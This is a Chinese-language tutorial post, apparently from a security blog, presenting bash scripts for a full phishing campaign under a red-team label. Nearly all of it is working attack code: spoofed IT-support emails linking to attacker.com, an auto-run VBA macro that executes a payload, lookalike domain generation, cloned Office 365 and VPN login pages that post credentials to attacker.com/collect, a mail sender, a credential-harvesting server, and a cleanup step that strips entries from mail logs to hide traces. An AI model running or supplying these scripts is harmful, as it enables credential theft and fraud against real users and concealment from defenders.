RootStack

03-钓鱼攻击脚本：宏_链接_附件

5分钟阅读

钓鱼攻击脚本：宏/链接/附件

概述

钓鱼攻击是红队评估中常用的社会工程学技术。本文介绍使用bash生成钓鱼邮件、恶意宏文档、钓鱼链接和附件伪装的脚本实现。

核心理念

  • 隐蔽性：钓鱼内容不易被识别
  • 多样性：多种攻击方式组合
  • 可控性：攻击过程可追踪
  • 合法性：仅用于授权测试

1. 钓鱼邮件生成

#!/usr/bin/env bash
# 钓鱼邮件生成器
 
generate_phishing_email() {
    local target_name="$1"
    local target_email="$2"
    local template="${3:-default}"
    local output_file="${4:-/tmp/phishing_email.eml}"
 
    cat > "$output_file" << EOF
From: IT-Support@company.com
To: $target_email
Subject: [重要] 账户安全更新
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
 
<html>
<body>
<p>尊敬的 $target_name,</p>
<p>我们检测到您的账户存在安全风险，请立即点击以下链接更新密码：</p>
<p><a href="http://attacker.com/reset?user=$target_email">立即更新</a></p>
<p>如不及时更新，账户将被锁定。</p>
<p>IT 支持团队</p>
</body>
</html>
EOF
    echo "[+] 钓鱼邮件已生成: $output_file"
}

2. 恶意宏文档

generate_macro_doc() {
    local output="$1"
    local payload="${2:-calc.exe}"
 
    # 创建恶意VBA宏
    cat > /tmp/macro.vba << EOF
Sub Auto_Open()
    Shell "$payload", vbHide
End Sub
 
Sub Document_Open()
    Auto_Open
End Sub
EOF
 
    echo "[+] 恶意宏文档已准备: $output"
}

3. 钓鱼链接

generate_phishing_link() {
    local original_url="$1"
    local shortener="${2:-bit.ly}"
 
    # URL 编码混淆
    local encoded_url
    encoded_url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$original_url'))")
 
    # 生成混淆URL
    echo "http://${shortener}/$(echo $RANDOM | md5sum | head -c 8)"
}

4. 附件伪装

disguise_attachment() {
    local real_file="$1"
    local fake_name="$2"
    local output_dir="${3:-/tmp}"
 
    cp "$real_file" "${output_dir}/${fake_name}"
    echo "[+] 附件已伪装: ${output_dir}/${fake_name}"
}
 
generate_benign_doc() {
    local output="$1"
    cat > "$output" << 'EOF'
This is a legitimate document.
Please review the contents carefully.
EOF
    echo "[+] 良性文档已生成: $output"
}

5. 综合钓鱼脚本

full_phishing_campaign() {
    local target_name="$1"
    local target_email="$2"
 
    echo "[*] === 钓鱼攻击活动 ==="
 
    # 生成钓鱼邮件
    generate_phishing_email "$target_name" "$target_email"
 
    # 生成恶意附件
    generate_macro_doc "/tmp/document.docm"
 
    # 生成钓鱼链接
    generate_phishing_link "http://attacker.com"
 
    echo "[+] 钓鱼活动准备完成"
}

总结

本文介绍了钓鱼攻击的bash脚本实现：钓鱼邮件生成、恶意宏文档、钓鱼链接和附件伪装。这些技术仅用于授权的安全评估。

6. 域名伪装

generate_lookalike_domain() {
    local original="$1"
    local tld="${2:-com}"
 
    # 常见域名伪装技术
    local techniques=(
        "${original}.${tld}"
        "${original}-secure.${tld}"
        "${original}-login.${tld}"
        "${original}.net"
        "${original}.org"
    )
 
    echo "=== 域名伪装建议 ==="
    for domain in "${techniques[@]}"; do
        echo "  $domain"
    done
}
 
check_domain_availability() {
    local domain="$1"
    if whois "$domain" 2>/dev/null | grep -q "No match"; then
        echo "[+] $domain 可用"
        return 0
    else
        echo "[-] $domain 已注册"
        return 1
    fi
}

7. 钓鱼页面生成

generate_phishing_page() {
    local target_service="$1" output_dir="${2:-/tmp/phishing_page}"
 
    mkdir -p "$output_dir"
 
    case "$target_service" in
        o365|office365)
            cat > "${output_dir}/index.html" << 'HTMLEOF'
<!DOCTYPE html>
<html>
<head><title>Office 365 登录</title></head>
<body>
<form action="http://attacker.com/collect" method="POST">
  <input type="email" name="email" placeholder="邮箱">
  <input type="password" name="password" placeholder="密码">
  <button type="submit">登录</button>
</form>
</body>
</html>
HTMLEOF
            ;;
        vpn)
            cat > "${output_dir}/index.html" << 'HTMLEOF'
<!DOCTYPE html>
<html>
<head><title>VPN 登录</title></head>
<body>
<form action="http://attacker.com/collect" method="POST">
  <input type="text" name="username" placeholder="用户名">
  <input type="password" name="password" placeholder="密码">
  <button type="submit">连接</button>
</form>
</body>
</html>
HTMLEOF
            ;;
    esac
    echo "[+] 钓鱼页面已生成: $output_dir"
}

8. 邮件发送

send_phishing_email() {
    local from="$1" to="$2" subject="$3" body="$4" attachment="${5:-}"
 
    local headers="From: ${from}\nTo: ${to}\nSubject: ${subject}\nMIME-Version: 1.0"
 
    if [[ -n "$attachment" ]]; then
        headers+="\nContent-Type: multipart/mixed; boundary=boundary"
        echo -e "$headers\n\n--boundary\nContent-Type: text/plain\n\n${body}\n\n--boundary\nContent-Type: application/octet-stream; name=$(basename $attachment)\nContent-Transfer-Encoding: base64\n\n$(base64 $attachment)\n--boundary--" | sendmail "$to"
    else
        echo -e "$headers\n\n${body}" | sendmail "$to"
    fi
    echo "[+] 邮件已发送: $to"
}

9. 凭证收集服务器

start_credential_server() {
    local port="${1:-8080}"
    local output="/tmp/collected_creds.txt"
 
    echo "[*] 启动凭证收集服务器 (端口: $port)"
 
    python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
 
class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length).decode()
        params = urllib.parse.parse_qs(data)
        with open('$output', 'a') as f:
            f.write(f'$(date)|{self.client_address[0]}|{params}\n')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
 
HTTPServer(('0.0.0.0', $port), Handler).serve_forever()
" &
    echo "[+] 服务器已启动, PID: $!"
}

10. 活动清理

cleanup_phishing_artifacts() {
    echo "[*] 清理钓鱼活动痕迹..."
 
    # 清理临时文件
    rm -rf /tmp/phishing_* 2>/dev/null
 
    # 清理邮件日志
    if [[ -f /var/log/mail.log ]]; then
        grep -v "phishing" /var/log/mail.log > /tmp/mail_clean.log 2>/dev/null
        mv /tmp/mail_clean.log /var/log/mail.log 2>/dev/null
    fi
 
    # 停止收集服务器
    pkill -f "credential_server" 2>/dev/null
 
    echo "[+] 清理完成"
}

关系图谱